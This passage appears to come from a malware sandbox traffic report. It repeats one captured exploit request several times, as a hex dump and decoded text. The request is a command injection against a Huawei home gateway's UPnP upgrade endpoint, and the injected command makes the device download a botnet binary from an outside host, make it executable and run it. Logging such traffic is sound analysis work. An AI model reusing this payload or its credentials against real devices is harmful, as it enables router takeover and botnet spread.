HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 